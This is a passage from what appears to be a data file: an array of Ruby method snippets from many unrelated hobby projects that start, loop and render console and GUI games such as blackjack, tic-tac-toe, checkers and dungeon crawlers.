result)\r\n\r\n end", "def start_a_game\n jeopardy_board\n play_game\nend", "def start_game\n #present the start button and title and image\n @stack = @shoes.stack left: 200 do\n @prompt = @shoes.title( \"Blackjack\",\n stroke: $WHITE,\n align: \"center\")\n @author = @shoes.para( \"By: Thomas Tracy\",\n stroke: $WHITE,\n align: \"center\")\n @toBegin = @shoes.title( \"Click the cards to begin!\",\n stroke: $WHITE,\n align: \"center\")\n @splashImage = @shoes.image(\"View_application/blackjack_splash.png\").move( 350, 250)\n\n #once the start button is clicked, remove the splash and start the game\n @splashImage.click do\n #remove splash\n @stack.clear\n @splashImage.clear\n #create the game view\n newGame = GameView.new(@shoes)\n newGame.create_gameView\n end #end click\n end #end stack\n end", "def Main\n #Begin preinitialization\n preInit()\n\n #Render Game Window and begin drawing onto the screen.\n\n DEBUG.cout(\"Initializing Game Window...\", 0, false)\n window = GameWindow.new\n window.show\n\n #End game and return to desktop\n return nil\nend", "def play_full_game\n Display.clear_screen\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_start_ui\n fast_forward(@data[\"moves\"].keys[-1], true)\n Display.draw_board(@cur_board, @player_white, @player_black)\n Display.game_end_ui(determine_winner)\n end", "def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end", "def run\n start_key = self.display_instructions\n exit if start_key.downcase == \"q\"\n self.play_round until @board.won? || @board.lost?\n @board.lost? ? self.display_loss : self.display_win\n end", "def setup_display\n gameboard.build_display\n build_white_side\n build_black_side\n end", "def play_game\n\n Console_Screen.cls #Clear the display area\n \n #Assist the player and dealer an initial starting card\n playerHand = get_new_card\n dealerHand = get_new_card\n \n #Call the method responsible for dealing new cards to the player\n playerHand = complete_player_hand(playerHand, dealerHand)\n \n #If the player has not gone bust, call the method responsible for managing\n #dealer's hand\n if playerHand <= 21 then\n dealerHand = play_dealer_hand(dealerHand)\n end\n\n #call the method responsible for determining the results of the game\n determine_winner(playerHand, dealerHand)\n\n end", "def play_game\n loop do\n puts \"\\n\\n\"\n display_board\n player_turn\n check_game_status\n end\n end", "def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print_outcome\r\n end", "def startGame\n\tif !$running\n\t\t$gui.hide_info()\n\t\t$gui.hide_scored()\n\t\t$p1.reset_position()\n\t\t$p2.reset_position()\n\t\t$ball.reset_position()\n\t\t$ball.start()\n\t\t$running = true\n\tend\nend", "def start_game\n begin\n @game_text.intro\n\n # Run the tutorial\n ActionDirector.new(@world, @player).call({command: :talk, target: :jerry})\n\n # The main game\n while @player.alive? && @world.has_hostiles?\n @player.in_battle? ? battle_loop : game_loop\n end\n\n @player.alive? ? @player.win : @player.defeat\n rescue SystemExit, Interrupt # Catpure ctrl+c exit, end gracefully\n @game_text.exit\n end\n end", "def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Assign the player and dealer an initial starting card\r\n playerHand = get_new_card\r\n dealerHand = get_new_card\r\n\r\n #Call the method responsible for dealing new cards to the player\r\n playerHand = complete_player_hand(playerHand, dealerHand)\r\n\r\n #If the player has not gone bust, call the method responsible for managing\r\n #dealer's hand\r\n if playerHand <= 21 then\r\n dealerHand = play_dealer_hand(dealerHand)\r\n end\r\n\r\n #call the method responsible for determining the results of the game\r\n determine_winner(playerHand, dealerHand)\r\n\r\n end", "def run\n start_game\n game_loop\n end_game\n end", "def start\n puts \"Welcome! Let's play Tic-Tac-Toe\"\n print_board\n play\n end", "def start_game\n loop do\n display_board\n turn\n position_available ? player_positions : turn\n (display_board; p \"#{@player} wins!\"; break) if win_game\n (display_board; p \"Draw\"; break) if draw\n next_player\n end\n end", "def start\n @win_state = CHECK # clear out win_state for new games\n get_player_name\n deck.deal_hand(players)\n show_flops\n player_turn\n dealer_turn\n check_winner\n play_again?\n end", "def main\n rounds = Game.start\n game = Game.new(rounds)\n roshambo = Roshambo.new(game)\n Roshambo.play(roshambo)\nend", "def game_start\n opening\n first_menu\n end", "def run\n game = Game.new\n game.game_start\nend", "def step\n if @game_over\n game_over!\n @event_handler.update\n else\n # background for playing field and hud\n @screen.fill :black\n @screen.fill [50,50,50], Rect.new(Configuration.screen[:hud_rect])\n\n @event_handler.update\n @hud.update @clock.framerate.ceil, @round, @enemies.length, @money, @lives+1, @round_timer\n\n update_timer\n restock_enemies! if @restock_enemies > 0\n\n @the_path.draw @screen # Draw the enemy path.\n @enemies.draw @screen # Draw the enemies.\n @towers.draw @screen # Draw all set towers.\n @grid_highlighter.draw @screen # Draw the nifty semi-transparent highlighter below the mouse.\n @hud.draw @screen # draw the HUD\n end\n\n @screen.update() # Refresh the screen.\n end", "def new_game\n # Start again!\n puts \"\\n\\n\"\n\t\n\t# Clears output from last game\n Gem.win_platform? ? (system \"cls\") : (system \"clear\")\n \n puts \"Beginning new game:\"\n puts \"\"\n start\nend", "def game_start\n\n\tclear_screen\n\n\tprint_paragraph(\"Welcome to Trapped In A Cave.\\nGuess what? You're trapped in a cave...\nCan you make it out alive?\\n(For a list of commands type help at anytime.)\")\n\nstart_room\n\nend", "def start_game\n Board.new 10, 10\n end", "def start_game\n # Infinite loop\n while\n # Draw the board on the terminal\n @board.print_board\n # Ask the player to choose where to draw the symbol\n @active_player.choose_spot\n # Check if the current player won\n if @board.check_win(@active_player.player_symbol)\n @board.print_board\n puts 'Has ganado'\n @active_player.victory\n # Ask if the player wants to play again\n play_again\n # If not, the loop is broken\n break\n else\n # Check if there is a draw\n if @board.check_draw\n puts 'Empate'\n play_again\n break\n end\n # If there isn't a draw the game switch the current player\n switch_player\n end\n end\n end", "def play\n board_setup\n gameplay_setup\n end", "def playGame\n #start the opening of the game\n #introduce the rules, ask for human or computer etc\n self.opening()\n\n end", "def perform\n\tgame_menu\n\tgameplay\nend", "def play\n #calls to all the methods that produce game!\n end", "def start\n \t\tself.board.display_instruction\n \t\tcurrent_player = select_first_player\n \t\t(self.board.size).times do \n \t\t\tplay(current_player)\n \t\t\tcurrent_player = next_of current_player \n end\n display_winner(nil, true)\n \tend", "def play\n init_player()\n init_board()\n puts \"Test game play\"\n end", "def run\r\n @log.debug \"Run the tester...\"\r\n @dlg_box = CupSingleGameWin.new(@options)\r\n @dlg_box.create\r\n end", "def launch_UPgame_4\n sleep 0.5\n scroll_to_collection_view_item_with_mark('casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent', {:scroll_position => :right})\n sleep 1\n touch \"* marked:'casino-app-unibet-picks-7-579350::hooksheroes_mobile_html@netent'\"\n sleep 1\n touch \"* marked:'Play for Fun'\"\n wait_for_element_exists \"webView css:'.interface-toggleSwitch_loadAnimation'\", :timeout => 10\n\n touch (\"webView css:'.interface-toggleSwitch_loadAnimation'\")\n sleep 3\n touch \"webView css:'.interface-homeButton_baseButton'\"\n sleep 0.5\n\n\n end", "def start\n\t\tprint_series_leaderboard #shows the series leaderboard status\n\t\tturn_number=0\n\t\twhile turn_number<9 do\n\t\t\tturn_number=turn_number+1\n\t\t\tprint_board\n\t\t\tplayer_on_turn=get_player_on_turn(turn_number)\n\t\t\tputs \"#{player_on_turn.name}(#{player_on_turn.marker}) its your turn\"\n\t\t\tchoice = get_valid_empty_cell\n\t\t\tupdate_cell_status(turn_number,choice)\n\t\t\tplayer_on_turn.consider(@game_cell_vectors[choice])\n\t\t\tif player_on_turn.is_winner==true then\n\t\t\t\tprint_board\n\t\t\t\tplayer_on_turn.declare_winner\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tif turn_number==9\n\t\t\t\tputs \"Game resulted in Draw\"\n\t\t\tend\t\n\t\tend\n\tend", "def start_game_with(people)\n stack_randomizer people\n\n visit root_url\n click_button \"Start\"\n end", "def main\r\n welcome\r\n process_cmd_line\r\n top_up_players\r\n\r\n play_game\r\n\r\n rescue Interrupt\r\n puts\r\n end", "def runner\n # code runner here\n welcome\n initial_round\n hit?\n display_card_total\n end_game\nend", "def runner\n # code runner here\n welcome\n initial_round\n hit?\n display_card_total\nend_game\n\nend", "def play\n start = Time.now\n until @board.won?\n @player ? round_player : round_ai\n @attempts += 1\n sleep(2)\n system(\"cls\")\n @board.render\n end\n finish = Time.now\n time_to_finish = finish - start\n declare_win(time_to_finish)\n end", "def game_start_human_codebreaker\n reset_instance_variables_values\n start_game_welcome_human(@human.name)\n choices\n print_colorized_array(COLORS)\n end", "def setup_screen\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n screen = $game_troop.screen\n case @acts[1]\n when Screen_Tone\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n tone = @acts[2].is_a?(Array) ? Tone.new(*@acts[2]) : @acts[2]\n duration = @acts[3]\n screen.start_tone_change(tone, duration)\n when Screen_Shake\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n power = @acts[2]\n speed = @acts[3]\n duration = @acts[4]\n screen.start_shake(power, speed, duration)\n when Screen_Flash\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n color = @acts[2].is_a?(Array) ? Color.new(*@acts[2]) : @acts[2]\n duration = @acts[3]\n screen.start_flash(color, duration)\n when Screen_Normalize\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n tone = Tone.new\n duration = @acts[2]\n screen.start_tone_change(tone, duration)\n end\n end", "def play\n display_welcome_message\n\n # Each game...\n loop do\n # Each round...\n loop do\n display_game_history unless rounds.empty?\n round_results = Round.new(human, computer).play\n @rounds << round_results\n break if winner?\n end\n\n set_winner\n display_end_game\n\n break unless play_again?\n reset_game\n end\n\n display_goodbye_message\n end", "def game_start\n @computer.choose_word\n @board.create_board(@computer.word.length)\n Screen.clear\n game_loop\n end", "def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend", "def start_game\n # remove all pieces in case of a restart\n remove_pieces unless @pieces.nil?\n # initialize a new game board\n @board = Board.new\n # initialize pieces for the GUI board\n @pieces = Array.new(CHECKERS_WIDTH) { Array.new(CHECKERS_HEIGHT) }\n # Start a new game with :starting player turn, created board, CPU player and difficulty \n @game = Checkers.new(@first_player.text.downcase, @board, CPU_PLAYER, DIFFICULTY[@difficulty.text])\n draw_pieces\n @selected_piece = nil\n @message = \"None\"\n # Display game statistics\n update_stats\n # toggle game status to running\n @game_running = true\nend", "def start!(scene)\n raise \"The game has already started.\" if showing?\n\n Gamework::ENV ||= 'development'\n make_logger(@log_file)\n @logger.info 'Starting the game'\n\n make_window\n add_scene(scene)\n show\n end", "def start_game(players, type)\n game_factory = ConnectGameFactory.new(players.to_i, type)\n\n GameView.new(game_factory.connect_game, game_factory.game_state) unless $DEBUG\n\n CommandView.new(game_factory) if $DEBUG\n end", "def play_round\n puts \"---D I N G ! N E W R O U N D !---\"\n @round_over = false\n take_turn(self.current_player) until @round_over\n if @round_over\n @fragment = \"\"\n self.display_standings\n sleep 5\n system(\"clear\")\n end\n end", "def start_game\n puts 'GAME STARTED'\n until @is_game_over\n @count_turns += 1\n @board.draw_board\n @board.update_board(@controller.get_input)\n game_over?\n end\n puts @count_turns\n end_game\n end", "def run\n #Load the Hero File\n load_hero_file\n #Load dungeon at top level\n load_dungeon_file(@current_level)\n #display the hero's starting spot\n clear_message_box\n #get input either an action or a movement.\n while true\n update_screen\n key = @ui.instr\n case key\n when 'B','b' #turn left\n @hero_direction = POS_TURN.rotate!(-1)[0]\n when 'N','n' #turn right\n @hero_direction = POS_TURN.rotate!(1)[0]\n when 'M','m' #move ahead\n move_hero\n when 'A','a' #attack\n hero_attack if @monster_detected\n when 'C','c' #cast\n if @stats[:aura] > 0 && [email protected]?\n cast_spell\n else\n @ui.place_text('FIZZZZ....'.ljust(20),1,2,DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text(MSG_NOTHING.ljust(20),1,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end\n when 'G','g' #get\n get_object\n when 'P','p' #potion\n drink_potion\n when 'R','r' #reveal\n light_room\n when 'S','s' #save?\n #not implemented yet\n when 'Q','q' #quit\n if ask_question('DO YOU REALLY WANT', 'TO QUIT? (Y/N)') == 'Y'\n break\n else\n clear_message_box\n end\n else\n #do nothing\n end\n #automated game elements\n\n #monster detected\n monster_attack if @monster_detected\n #hero died\n if @stats[:strength] <= 0\n game_over\n break\n end\n #hero gets idol!\n if @idol_found\n win_game\n break\n end\n end\n end", "def launch_UPgame_2\n sleep 0.5\n scroll_to_collection_view_item_with_mark('casino-app-unibet-picks-7-579350::70145@nyx', {:scroll_position => :right})\n sleep 1\n touch \"* marked:'casino-app-unibet-picks-7-579350::70145@nyx'\"\n sleep 1\n touch \"* marked:'Play for Fun'\"\n wait_for_element_exists \"* marked:'NO'\", :timeout => 5\n end", "def start_game(game_config)\n # start a new game\nend", "def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end", "def start\r\n\t\t\[email protected] \"Welcome to Deal or No Deal!\"\r\n\t\t\[email protected] \"Designed by: #{created_by}\"\r\n\t\t\[email protected] \"StudentID: #{student_id}\"\r\n\t\t\[email protected] \"Starting game...\"\r\n\t\tend", "def start\n puts \"Welcome to Tic Tac Toe!\"\n puts \"\"\n define_players\n play\n end", "def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end", "def start()\r\n\t\t\[email protected](\"Welcome to Mastermind!\")\r\n\t\t\[email protected](\"Created by: #{created_by} (#{student_id})\")\r\n\t\t\[email protected](\"Starting game...\")\r\n\t\t\[email protected]('Enter \"1\" to run the game in the command-line window or \"2\" to run it in a web browser')\r\n\t\tend", "def go_play\n puts \"Let's start a new game\"\n @grid.print_board # prints the initial blank layout of the board\n puts @player1.name + \" \" + \"your turn first!\" # player 1 always goes first\n end", "def setup_screen\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n screen = $game_troop.screen\n case @acts[1]\n when Screen_Tone\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n tone = @acts[2]\n duration = @acts[3]\n screen.start_tone_change(tone, duration)\n when Screen_Shake\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n power = @acts[2]\n speed = @acts[3]\n duration = @acts[4]\n screen.start_shake(power, speed, duration)\n when Screen_Flash\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 4\n color = @acts[2]\n duration = @acts[3]\n screen.start_flash(color, duration)\n when Screen_Normalize\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n tone = Tone.new\n duration = @acts[2]\n screen.start_tone_change(tone, duration)\n end\n end", "def start_game_loop(selection)\n case selection\n when 1\n new_fight = Fight.new(superhero: todays_hero)\n new_fight.start_battle(todays_hero)\n @enemy = Villain.find_by(id: new_fight.villain_id)\n url = URI.parse(@enemy.img)\n res = test_url(url)\n print_picture(url) if res.code == \"200\"\n new_fight.battle(superhero: todays_hero, villain: self.enemy)\n when 2\n @todays_hero.train\n when 3\n run_quest\n when 4\n url = URI.parse(@todays_hero.img)\n res = test_url(url)\n print_picture(url) if res.code == \"200\"\n @todays_hero.display_stats\n when 5\n display_instructions\n when 6\n display_board\n when 7\n return \n end\n display_menu\n end", "def start \n\t @output.puts \"Welcome to Noughts and Crosses!\"\n\t @output.puts \"Created by:#{created_by}\"\n\t @output.puts \"StudentID: #{student_id}\"\n\t @output.puts \"Starting game...\"\n\t @output.puts \"Player 1: 0 and Player 2: 1\"\n\n\t\n\tend", "def start_screen()\n puts \"Welcome to Hangman.\"\n puts \"'N' to start a new game, 'L' to load!\"\n choice = gets.chomp.upcase\n if choice == 'N'\n self.play\n elsif choice == 'L'\n load_game\n else\n puts \"Please choose 'N' or 'L' next time.\"\n puts \"For now the culprit's fate is spared. Take care!\"\n end\n end", "def start!\n @window = Window.new width, height, fullscreen?\n window.caption = name\n window.scene = Scenes.generate(first_scene)\n window.show\n end", "def start\n # start a new game using @config\n end", "def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end", "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n create_command_window()\n @status_window = Window_Party_Status.new(0, 0, 480,424, $game_party.members)\n @menu_info_window = Window_Menu_Info.new(0,424,640,56)\n end", "def go_game\n #RPG::BGM.fade(30)\n #Graphics.fadeout(30)\n #Graphics.frame_count = 0\n DataManager.autosave(true, false)\n SceneManager.goto(Scene_Map)\n #$game_system.on_after_load\n end", "def start\n\t\tmessage = get_instructions + \"Enter which cell to shoot: \".cyan.bold\n\t\tmessage_norm = message\n\t\tmessage_arg_error = \"Please, enter only numbers between 1 and 10\".red.bold\n\t\tmessage_alert = message_arg_error + \"\\n\" + message\n\t\tbegin\n\t\t\tloop do\n\t\t\t\tdraw_game_field\n\t\t\t\tprint message\n\t\t\t\tmessage = message_norm\n\t\t\t\tcell = gets.chomp\n\t\t\t\traise Exception if cell == 'q'\n\t\t\t\tcell = Integer(cell)\n\t\t\t\traise ArgumentError unless cell.between?(1, 10)\n\t\t\t\[email protected](cell, @computer.field)\n\t\t\t\[email protected](@human.field)\n\t\t\t\tdraw_game_field\n\t\t\t\tcheck_victory\n\t\t\tend\n\t\trescue ArgumentError => e\n\t\t\tmessage = message_alert\n\t\t\tputs message\n\t\t\tretry\n\t\trescue VictoryError => e\n\t\t\tputs e.message\n\t\t\texit 1\n\t\trescue StandardError => e\n\t\t\tretry\n\t\trescue Exception => e\n\t\t\texit_the_game\n\t\tend\n\tend", "def withcurses\n begin \n self.start\n yield\n ensure\n close_screen\n end\n end", "def start\n @driver.navigate.to \"http://play.threesgame.com\"\n sleep(0.5)\n end", "def start_new_game\n x = create_player_x\n o = create_player_o\n \n @game = Game.start_game(x, o)\n end", "def start_game(user = nil)\n super\n # ...\n end", "def start\n set_player_name\n deal_cards\n show_flop\n player_turn\n dealer_turn\n end", "def draw\n @background_image.draw 0, 0, ZOrder::BACKGROUND\n case @game_settings.current_screen\n when \"start\"\n start_screen\n when \"levels\"\n levels_screen\n when \"gameover\"\n game_over_screen\n when \"game\"\n @deck.deal_cards! @playing_cards\n\n if @game_settings.is_cpu_player_enabled\n @subtitle_font.draw_text \"Computer:\", 645, 215, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Score : #{@computer_signal.score}\", 645, 245, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n # Computer messages\n if @true_mes\n @subtitle_font.draw_text \"I found a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @computer_signal.score > @p1.score\n @subtitle_font.draw_text \"#{@computer_signal.mean_msg}\", 645, 305, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n end\n\n @subtitle_font.draw_text \"Still trying!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @trying_mes\n\n @subtitle_font.draw_text \"Oops not a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @false_mes\n\n # Creates players if need be.\n if !@players_created\n @p1 = Player.new 1 if @game_settings.p1_init\n @p2 = Player.new 2 if @game_settings.p2_init\n @players_created = true\n end\n\n Gosu.draw_rect 640,0,280,480,Gosu::Color::GRAY,ZOrder::UI\n\n @subtitle_font.draw_text \"Player 1 Statistics:\", 645, 0, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @p1.set_times.length > 0\n \t@subtitle_font.draw_text \"Fastest time to find a set: #{@p1.set_times.at 0}\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Slowest time to find a set: #{@p1.set_times.at -1}\", 645, 60, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t@subtitle_font.draw_text \"Average time to find a set: #{@p1.time_sum / @p1.set_times.length}\", 645, 90, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n else\n \t@subtitle_font.draw_text \"No sets found yet\", 645, 30, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n @subtitle_font.draw_text \"Hints used: #{@p1.hints_used}\", 645, 120, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @game_settings.are_hints_enabled\n @subtitle_font.draw_text \"Score: #{@p1.score}\", 645, 150, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Total Game Time: #{@game_timer.current}\", 645, 490, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \n if @game_settings.p2_init\n @subtitle_font.draw_text \"Player 2 Statistics:\", 645, 280, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tif @p2.set_times.length > 0\n \t @subtitle_font.draw_text \"Fastest time to find a set: #{@p2.set_times.at 0}\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Slowest time to find a set: #{@p2.set_times.at -1}\", 645, 340, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \t @subtitle_font.draw_text \"Average time to find a set: #{@p2.time_sum / @p2.set_times.length}\", 645, 370, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \telse\n \t @subtitle_font.draw_text \"No sets found yet\", 645, 310, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n \tend\n \t@subtitle_font.draw_text \"Score: #{@p2.score}\", 645, 430, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n num_cols = @playing_cards.length / 3\n count, x_offset, y_offset, x_between, y_between = 0, 5, 35, 90, 135\n (0...3).each do |row|\n (0...num_cols).each do |col|\n @playing_cards[count].image.draw(x_offset + x_between*col, y_offset + y_between*row, ZOrder::CARDS, 0.15, 0.15)\n count += 1\n end\n end\n\n # Prints out hints\n @hint.each do |card_index|\n # initial card corner values.\n left_x ,right_x, top_y, bottom_y = 5, 85, 40, 160\n\n # Highlight for hints\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect left_x + x_between*(card_index % num_cols), bottom_y + y_between*(card_index / num_cols),80,10,Gosu::Color::BLACK,ZOrder::CARDS\n draw_rect right_x + x_between*(card_index % num_cols), top_y + y_between*(card_index / num_cols),10,130,Gosu::Color::BLACK,ZOrder::CARDS\n end\n\n #TO MOVE RECTANGLE:\n # X POSITION = @currentCardIndex % numCols\n # Y POSITION = @currentCardIndex / numCols\n if @game_settings.p1_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p1.current_card_index % num_cols)\n y_movement = y_offset + (y_between/2) + y_between*(@p1.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::CYAN,ZOrder::CARDS\n\n # Draws current selected values\n @p1.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), y_offset + (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::CYAN, ZOrder::CARDS)}\n end\n if @game_settings.p2_init\n x_movement = x_offset + (x_between/2.4) + x_between*(@p2.current_card_index % num_cols)\n y_movement = (y_between/2) + y_between*(@p2.current_card_index / num_cols)\n\n # Draws current position\n draw_rect x_movement, y_movement, 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS\n\n # Draws current selected values\n @p2.chosen_cards_indexes.each {|index| draw_rect(x_offset + (x_between/2.4) + (x_between)*(index % num_cols), (y_between/2) + y_between*(index / num_cols), 20, 20, Gosu::Color::FUCHSIA, ZOrder::CARDS)}\n end\n end\n end", "def play\r\n display_welcome_message\r\n human_choose_move\r\n computer_choose_move\r\n display_winner\r\n display_goodbye_message\r\nend", "def run\n greet_screen\n exit_screen\n end", "def run_script\n\tgame = GameController.new\n\tsystem \"clear\"\n\tputs GameController.welcome_message.blue\n\tsleep 2\n\tsystem \"clear\"\n\t# puts GameController.bulletin_board\n\tgame.array_of_teams\n\tgame.choose_team\n\tgame.favorite_team\n\tgame.favorite_team_id\n\tgame.random_rival\n\tgame.get_rival_id\n\t\nend", "def start\n init_screen\n crmode\n setpos 0,0\n \n ## Start main loop of GOL update pieces, clear the board, replace new board, and sleep\n while true\n updateboard\n clear\n addstr(outboard)\n refresh\n sleep(0.25)\n break if @exit\n end\n end", "def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end", "def show\n call Screen.setColor(true)\n call draw\n end", "def play\n take_turn until @master.game_over?\n @master.show_board\n @robot.speak\n end", "def play\n game_introductions\n\n loop do\n set_markers_and_first_mover\n\n loop do\n clear_screen_and_display_board\n loop_of_player_moves\n display_result\n break if someone_won_match?\n display_play_again_message\n reset\n end\n\n clear\n display_champion\n break unless rematch?\n reset_game_data\n end\n\n display_goodbye_message\n end", "def new_game\n set_player\n\n if human_player?\n start_message(:welcome)\n\n set_grid\n puts\n set_bombs\n\n else #non-human\n start_message(:robot_game)\n @robot = Robot.new()\n @grid_size = @robot.grid_size\n @num_bombs = @robot.num_bombs\n end\n @play_again = true\nend", "def battletest_sceneswitch\r\n # Play battle start SE\r\n $game_system.se_play($data_system.battle_start_se)\r\n # Play battle BGM\r\n $game_system.bgm_play($game_system.battle_bgm)\r\n # Switch to battle screen\r\n $scene = Scene_Battle.new\r\n end", "def start_new_game\n say \"\\nStarting a new game.\"\n @client.start_new_game\n end", "def call_load_screen\n SceneManager.call(Scene_Load)\n end", "def play\n\t\tgame_loop\n\tend", "def start_new_game\n # TODO: increment stats\n # stats = GameStats.new\n # stats.game_number += 1\n\n # create new player\n\n\n # print New game text\n new_game_banner = File.read('./old_code/fancy_text/new_game.txt')\n puts new_game_banner\n\n # display into story\n puts display_intro(@player_one.name)\n\n # auto load stage 1\n require './lib/stage'\n Stage.new(1, 5, @player_one)\n end", "def play\n display_welcome_message\n loop do\n human.choose\n computer.choose\n display_moves\n display_winner\n keep_score\n break unless play_again?\n end\n display_goodbye_message\n end", "def play_round\n @fragment = \"\"\n welcome\n\n until round_over?\n take_turn\n next_player!\n end\n\n update_standings\n end", "def game_start\n clear\n warning\n clear\n if @intro\n introduction()\n end\n clear\n countdown\n until @promptarr == []\n game_round() \n end\n @running = game_over(@score)\n end", "def start \n game_board\n #This sets up the array that will be placed into the display_board method\n board = [\"* \",\" * \",\" * \",\" * \",\" * \",\" * \",\"* \",\" * \",\" * \"]\n display_board(board)\n game(board)\nend", "def start_game\n new_game = Game.new\n\n return statuses('You did not press 1') if welcome == false\n\n new_game.set_players\n\n # maximum number of moves a player can make\n\n gameon = true\n\n while gameon\n new_game.new_board.clear_board\n maximum_moves = 9\n loop do\n statuses('Let the game begin') if maximum_moves == 9\n\n current_player = ''\n\n # displays current board state\n display_board(new_game.new_board.my_board)\n\n if maximum_moves.even?\n # signifies first players turn to play in loop thus ensuring each loops per player\n current_player_id = new_game.player1.player_id\n current_player = new_game.player1.player_name\n else\n current_player_id = new_game.player2.player_id\n current_player = new_game.player2.player_name\n end\n\n position = enter_position(current_player, current_player_id)\n new_game.new_board.input_position(position, current_player_id)\n\n # checks for true in results\n if new_game.new_board.results\n display_board(new_game.new_board.my_board)\n statuses(\"#{current_player} has won\")\n break\n end\n\n statuses('The game is a draw') if maximum_moves == 1\n\n break if maximum_moves == 1\n\n maximum_moves -= 1\n end\n statuses('Press N to start a new game or any key to quit ')\n choice = gets.chomp.downcase\n gameon = choice == 'n'\n end\nend", "def start_game\n\n puts \"Who is playing as red?\"\n player_one = gets.chomp\n puts \"\\nWho is playing as blue?\"\n player_two = gets.chomp\n new_game = Gameboard.new(player_one, player_two)\n\n while new_game.game_live\n new_game.make_move\n end\n\n # Prompt to return to main menu\n return_prompt\nend", "def initialize_game\n setup_boards\n end", "def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end" ]
